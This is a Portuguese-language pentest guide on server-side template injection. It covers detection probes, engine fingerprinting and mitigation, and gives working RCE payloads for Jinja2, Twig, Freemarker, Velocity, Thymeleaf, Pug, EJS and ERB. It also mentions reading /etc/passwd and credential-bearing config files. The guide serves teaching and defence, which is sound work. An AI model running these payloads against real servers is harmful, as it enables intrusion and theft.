SSTI (Server-Side Template Injection) é o que acontece quando uma aplicação concatena entrada do usuário diretamente em um template que é avaliado no servidor. O motor de template (Jinja2, Twig, Freemarker, etc.) deixa de enxergar a entrada como dado a ser exibido e passa a tratá-la como código de template a ser executado. A partir daí, o que era um campo de nome, uma assinatura de e-mail ou um parâmetro de URL vira uma expressão arbitrária rodando no contexto do processo da aplicação. Template engines existem justamente para avaliar expressões e, em muitos casos, acessar objetos e métodos da linguagem hospedeira. Por isso, o SSTI costuma escalar de “consigo calcular 7*7” para RCE (execução remota de código) com uma facilidade que assusta. É essa proximidade com a linguagem que separa o SSTI do XSS. Ambos são injeção de marcação, mas o XSS executa no navegador da vítima (contexto cliente, sandbox do browser, impacto sobre a sessão de quem acessa) e o SSTI executa no servidor (contexto da aplicação, sistema de arquivos, rede interna, credenciais). A família é a mesma; a gravidade não chega nem perto.

Como funciona

Um template engine recebe um template (texto com marcadores) e um contexto (um dicionário de variáveis) e produz uma string final. Quando você escreve Hello {{ name }} e passa {"name": "Alice"}, o engine substitui {{ name }} por Alice. Aqui está tudo certo, porque name foi tratado como dado.

O problema nasce quando o desenvolvedor monta o próprio template a partir da entrada do usuário. Em Python/Flask com Jinja2, a diferença é literalmente uma linha:

from jinja2 import Template

# SEGURO — entrada vai como dado no contexto
Template("Hello {{ name }}").render(name=user_input)

# VULNERÁVEL — entrada vira parte do template, é avaliada
Template("Hello " + user_input).render()

Na versão vulnerável, se user_input for Alice, nada acontece. Mas se for {{ 7*7 }}, o engine encontra um marcador no template que ele mesmo está compilando e avalia a expressão: a saída vira Hello 49. Esse 49 é a prova de que a entrada não foi exibida, e sim executada no servidor.

No fundo, o erro está em confundir o template (lógica, confiável) com o contexto (dados, não confiável). Engines são projetados para avaliar expressões, e muitos expõem o suficiente da linguagem hospedeira (atributos de objetos, classes base, módulos) para que uma expressão vire leitura de arquivo, chamada de sistema ou acesso a variáveis de ambiente. Vemos isso em cenários clássicos: e-mails transacionais com “template customizável”, páginas de erro que ecoam parâmetros, geradores de relatório ou fatura, e qualquer endpoint que aceite “personalize sua mensagem”.

Como detectar

Detectar SSTI tem duas etapas: confirmar que há avaliação no servidor e identificar qual engine está por trás.

O primeiro teste é matemático, porque é inequívoco. Se a aplicação reflete 7, mas você injeta uma expressão e ela volta como 49, algo avaliou a multiplicação e não há mais ambiguidade. O detalhe é que cada família de engine usa uma sintaxe de marcador diferente:

{{7*7}}      → Jinja2, Twig, Nunjucks, Handlebars (sintaxe de chaves duplas)
${7*7}       → Freemarker, Velocity, Thymeleaf (sintaxe de dólar)
<%= 7*7 %>   → ERB (Ruby), EJS (Node)
#{7*7}       → Pug, e algumas variantes

Por isso costuma valer mais a pena usar um polyglot, uma string única que dispara em múltiplos contextos ao mesmo tempo, para você ver qual sintaxe “pegou”:

${{<%[%'"}}%\

Se algo quebra, reflete um valor calculado ou gera erro de template, você está na pista. A partir daí, uma árvore de decisão separa engines que compartilham sintaxe. O teste mais útil é {{7*'7'}}, que se comporta de forma diferente conforme a semântica da linguagem:

{{7*7}}     responde 49?        → família de chaves duplas confirmada
{{7*'7'}}   responde 7777777?   → Jinja2 (Python: int * str repete a string)
{{7*'7'}}   responde 49?        → Twig (PHP: '7' é coagido para inteiro)

A lógica é “responde X, então engine Y”: multiplicar inteiro por string e ter a string repetida indica Python (Jinja2); coerção numérica indica PHP (Twig). Para a família de dólar, dispare payloads específicos de Freemarker, Velocity e Thymeleaf e observe qual produz saída ou erro distinto. Mensagens de erro também entregam o jogo. Um stack trace com jinja2.exceptions, freemarker.core ou org.thymeleaf resolve a identificação na hora. Sempre comece pela detecção genérica (7*7) e depois refine com payloads que só uma engine entende.

Por engine

Jinja2 (Python/Flask) — o vetor é navegar a hierarquia de objetos Python a partir de um literal até alcançar subprocess ou os. Um payload representativo de RCE:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Quando self não está acessível, vale a cadeia alternativa que parte de uma string vazia e sobe via __class__/__mro__/__subclasses__:

{{ ''.__class__.__mro__[1].__subclasses__() }}

Twig (PHP) — em versões modernas, o filtro map/filter aplicando uma função do PHP é o caminho mais limpo. O payload usual combina filter com system:

{{['id']|filter('system')}}

Em ambientes legados (Twig 1.x), a cadeia via _self ainda aparece:

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}

(Note que o filtro registrado deve ser a função de execução, ex. system ou exec, e o filtro chamado em seguida é o comandoid.)

Freemarker (Java) — a API expõe Execute diretamente, e é por isso que Freemarker é tão explorável:

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Velocity (Java) — abusa de reflection a partir de uma classe qualquer para chegar ao Runtime. Um payload típico:

#set($x='')
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
$rt.getRuntime().exec('id')

A forma compacta clássica também funciona:

#set($e="exec")$rt.getRuntime().$e("id")

(Em ambos, o que importa é obter java.lang.Runtime via forName e invocar getRuntime().exec(...).)

Thymeleaf (Spring) — expression preprocessing com __${...}__ força a avaliação de SpEL, que abre Runtime. O vetor mais comum passa por um fragmento na URL ou na expressão:

${T(java.lang.Runtime).getRuntime().exec('id')}

Em pré-processamento de fragmento:

__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x

Pug (Node) — permite bloco de JavaScript inline via interpolação não escapada, então é RCE direto:

#{global.process.mainModule.require('child_process').execSync('id')}

EJS (Node) — historicamente, o RCE conhecido não vem do delimitador de saída (que avalia uma expressão simples), e sim do abuso de opções de renderização, como o parâmetro outputFunctionName. Quando há controle sobre o template ou as opções, a injeção em scriptlet executa JS arbitrário:

<% global.process.mainModule.require('child_process').execSync('id') %>

(O delimitador <%= ... %> imprime o resultado de uma expressão; para statements arbitrários use <% ... %>.)

Handlebars (Node) — logic-less por design, mas explorável via manipulação do protótipo de constructor para construir uma função e executá-la (cadeia longa, bem documentada no PayloadsAllTheThings; o gatilho é alcançar require('child_process')).

ERB (Ruby) — o scriptlet avalia Ruby puro. As formas mais usadas:

<%= `id` %>

Ou, equivalente: <%= system("id") %> / <%= IO.popen('id').read %>.

Como exploramos no pentest

O fluxo é sempre o mesmo, e a disciplina importa tanto quanto o payload.

  1. Detectar. Injetar {{7*7}}, ${7*7} e <%= 7*7 %> em cada ponto refletido. Procurar por 49, comportamento anômalo ou erro de template. Em casos cegos (sem reflexo direto), usar payloads que disparam delay ou interação out-of-band para confirmar avaliação no servidor.

  2. Identificar a engine. Aplicar a árvore de decisão: {{7*'7'}} para separar Jinja2 (7777777) de Twig (49); payloads de $-família para Freemarker/Velocity/Thymeleaf; ler com atenção qualquer stack trace, que costuma nomear a engine direto.

  3. Contornar sandbox / escalar. Várias engines rodam em sandbox (Jinja2 SandboxedEnvironment, sandbox do Twig, SpEL restrito). O trabalho aqui é encontrar a cadeia de objetos que escapa: subir de um literal para __globals__/__builtins__ em Python, alcançar Runtime via reflection em Java, ou chegar a child_process em Node. É a etapa que mais exige conhecimento específico da engine.

  4. Leitura de arquivo ou RCE. Antes de ir para RCE, a leitura de arquivo já costuma comprovar impacto crítico com menos ruído. Ler /etc/passwd ou um arquivo de configuração com credenciais demonstra acesso ao filesystem sem executar processo nenhum.

  5. Demonstrar impacto — com comando inócuo. A prova de RCE deve usar comandos não destrutivos e idempotentes: id, whoami, hostname, uname -a. Nunca rode nada que altere estado, apague dados ou exfiltre informação real do cliente. O objetivo é evidenciar capacidade, não causar dano.

Sobre a evidência: capture o request completo e a resposta com a saída do comando; registre o payload exato, o timestamp e o usuário ou contexto sob o qual o código rodou (o output de id já entrega isso). Se houver leitura de arquivo, prefira um arquivo de sistema previsível (/etc/passwd) a vasculhar dados sensíveis do cliente. Documente a engine identificada e a versão, porque isso direciona a remediação. Toda a cadeia, do 7*7 ao id, deve estar reproduzível no relatório.

Resumo para o relatório

Impacto: Execução remota de código no servidor de aplicação via injeção em template avaliado server-side, com acesso ao sistema de arquivos, variáveis de ambiente/credenciais e rede interna. Severidade: Crítica. CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (escopo/sistemas subsequentes em High pela capacidade de pivotar para a rede interna; ajuste SC/SI/SA para N se o segmento não permitir movimento lateral). Pré-condições: Entrada do usuário concatenada/interpolada no corpo do template (em vez de passada como variável de contexto); engine sem sandbox efetivo ou com bypass conhecido. Evidência: Payload {{7*7}} retornou 49 (avaliação server-side confirmada); {{7*'7'}} retornou 7777777 (Jinja2); execução de id retornou a identidade do processo da aplicação. Requests, respostas e timestamps anexados.

Como mitigar

A regra de ouro é nunca tratar entrada do usuário como template. Entrada é dado; ela entra pelo contexto, não pelo corpo do template:

from jinja2 import Template

# INSEGURO — entrada controla a estrutura do template
def render_unsafe(user_input):
    return Template("Hello " + user_input).render()

# SEGURO — template é fixo, entrada vai como variável de contexto
TEMPLATE = Template("Hello {{ name }}")

def render_safe(user_input):
    return TEMPLATE.render(name=user_input)

No caso seguro, {{ 7*7 }} no user_input é renderizado literalmente como o texto {{ 7*7 }}, porque o engine só avalia marcadores que já estavam no template fixo. Os dados do contexto nunca são reinterpretados como template.

Demais controles:

  • Templates logic-less. Prefira engines/modos que separam dados de lógica por design (Mustache, Handlebars em modo restrito). Menos expressividade no template, menos superfície de ataque.
  • Nunca renderizar templates controlados pelo usuário. Se o produto exige “templates customizáveis” pelo cliente, essa é uma feature de risco máximo: trate-a como código de terceiros executando no seu servidor.
  • Conheça os limites reais do sandbox. Jinja2 SandboxedEnvironment, sandbox do Twig e SpEL restrito ajudam, mas têm bypasses históricos. O sandbox é defesa em profundidade, não a defesa primária. Não conte com ele para conter entrada hostil.
  • Separe dados de lógica. A entrada do usuário sempre como argumento de render(...), nunca via concatenação de strings no template.
  • Allowlist. Se o usuário precisa escolher um template, ofereça uma lista fechada de templates pré-aprovados no servidor — ele seleciona por ID, não fornece o conteúdo.
  • Mantenha a engine atualizada. Muitos bypasses de sandbox são corrigidos em versões posteriores; rodar uma versão antiga reabre vetores já fechados.

Checklist de mitigação

  • Garantir que nenhuma entrada do usuário é concatenada/interpolada no corpo de um template
  • Passar toda entrada exclusivamente como variável de contexto em render()
  • Eliminar qualquer feature de “template customizável” controlado pelo usuário ou isolá-la fortemente
  • Preferir templates logic-less quando o caso de uso permitir
  • Usar allowlist de templates pré-aprovados (seleção por ID, não por conteúdo)
  • Habilitar o modo sandbox da engine como defesa em profundidade — sem confiar nele como única barreira
  • Manter a template engine na versão mais recente e acompanhar CVEs de bypass
  • Adicionar testes que injetam {{7*7}}/${7*7} e validam que a saída é literal, não 49

SSTI é um daqueles bugs em que a diferença entre seguro e crítico cabe em uma única linha de código: a fronteira entre passar a entrada como dado e deixá-la virar template. Trate o template como lógica e o dado como dado, e a classe inteira de vulnerabilidade some. Para testar payloads por engine sem decorar cadeias, use nossa cheatsheet interativa de SSTI. E, como SSTI e XSS são da mesma família de injeção que muda tudo dependendo de onde o código roda, vale comparar com o guia de XSS.